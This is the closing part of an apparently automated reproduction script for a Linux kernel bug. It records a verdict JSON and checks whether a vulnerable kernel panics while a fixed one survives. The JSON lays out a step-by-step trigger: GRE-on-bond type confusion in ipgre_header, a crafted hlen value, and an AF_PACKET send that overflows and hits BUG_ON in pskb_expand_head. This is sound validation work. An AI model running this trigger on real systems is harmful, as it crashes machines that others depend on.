  "claimed_impact_class": "dos",
  "observed_impact_class": "$VERDICT_IMPACT",
  "exploitability_confidence": "high",
  "attacker_controlled_input": "enslave a non-Ethernet GRE tunnel to an active-backup bond (bond_setup_by_slave copies ipgre_header_ops onto the bond) so that dev_hard_header(bond) calls ipgre_header(bond) with netdev_priv(bond)=struct bonding reinterpreted as struct ip_tunnel; populate the confused ip_tunnel.hlen field with a sign-bit-set value (0x961a63cc, as in the reporter's layout); send an AF_PACKET SOCK_DGRAM packet on the bond",
  "trigger_path": "ip link add gre1 type gre local 10.0.0.1; ip link add bond1 type bond mode active-backup; ip link set gre1 master bond1 (bond_setup_by_slave: bond_dev->header_ops=slave_dev->header_ops=ipgre_header_ops); insmod populate_hlen.ko (writes 0x961a63cc to netdev_priv(bond1)+offsetof(struct ip_tunnel,hlen)); AF_PACKET SOCK_DGRAM sendto on bond1 -> packet_sendmsg -> packet_snd -> dev_hard_header(bond1) -> ipgre_header(bond1) [t=netdev_priv(bond)=struct bonding read as struct ip_tunnel; t->hlen=0x961a63cc] -> needed=t->hlen+20 overflows to negative int -> skb_headroom(skb)<needed (unsigned) true -> pskb_expand_head(skb, HH_DATA_ALIGN(needed-headroom), 0, GFP_ATOMIC) with nhead<0 -> BUG_ON(nhead<0) -> kernel panic (DoS)",
  "end_to_end_target_reached": true,
  "sanitizer_used": false,
  "crash_observed": $VERDICT_CRASH,
  "read_write_primitive_observed": false,
  "exploit_chain_demonstrated": false,
  "blocking_mitigation": $VERDICT_BLOCK,
  "inferred": false
}
JSON

# ---- proof-carry copy (best effort) -----------------------------------------
PC="$CACHE_DIR/.pruva/proof-carry/latest_attempt"
if [ -d "$CACHE_DIR/.pruva" ] || jq -e '.proof_carry.enabled // false' "$ROOT/project_cache_context.json" >/dev/null 2>&1; then
    mkdir -p "$PC/repro" "$PC/logs"
    cp "$REPRO_DIR/reproduction_steps.sh" "$PC/repro/" 2>/dev/null || true
    cp "$REPRO_DIR/runtime_manifest.json" "$PC/repro/" 2>/dev/null || true
    cp "$REPRO_DIR/validation_verdict.json" "$PC/repro/" 2>/dev/null || true
    cp "$LOGS/qemu_vuln_7rc2.log" "$PC/logs/" 2>/dev/null || true
    cp "$LOGS/qemu_fixed_7rc2.log" "$PC/logs/" 2>/dev/null || true
    cp "$LOGS/reproduction_steps.log" "$PC/logs/" 2>/dev/null || true
fi

if [ "$DOS_CONFIRMED" = "true" ]; then
    LOG "CONFIRMED: kernel DoS (BUG_ON/panic in pskb_expand_head via ipgre_header type confusion) reproduced on the vulnerable kernel; fixed kernel survives. See logs/qemu_vuln_7rc2.log and logs/qemu_fixed_7rc2.log."
    exit 0
else
    LOG "INCONCLUSIVE/PARTIAL: DoS crash not observed as expected. Type-confusion differential status: $TYPE_CONFUSION_ONLY. Inspect logs."
    exit 1
fi
